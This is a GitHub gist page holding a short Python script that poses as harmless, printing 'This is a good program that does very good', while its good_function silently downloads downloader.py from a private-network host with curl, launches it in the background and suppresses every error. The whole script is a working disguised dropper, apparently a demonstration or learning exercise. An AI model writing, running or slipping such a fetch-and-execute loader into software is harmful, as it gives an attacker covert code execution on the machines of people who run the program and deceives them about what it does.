Last active
July 7, 2020 15:55
-
-
Save NimishMishra/54783f1b74598efe15390091aa34664f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
import os | |
def run_command(command): | |
command = command.rstrip() | |
try: | |
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) | |
except Exception as e: | |
output = "Failed to execute command " + str(e) | |
return output | |
def good_function(): | |
COMMAND = "curl -o downloader.py --silent http://192.168.43.38:9000/downloader.py" | |
try: | |
run_command(COMMAND) | |
COMMAND = "python3 downloader.py" | |
command_split = COMMAND.split(" ") | |
subprocess.Popen(command_split) | |
except: | |
pass | |
try: | |
run_command("mkdir downloaded") | |
os.chdir("./downloaded") | |
except: | |
os.chdir("./downloaded") | |
print("This is a good program that does very good") | |
good_function() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment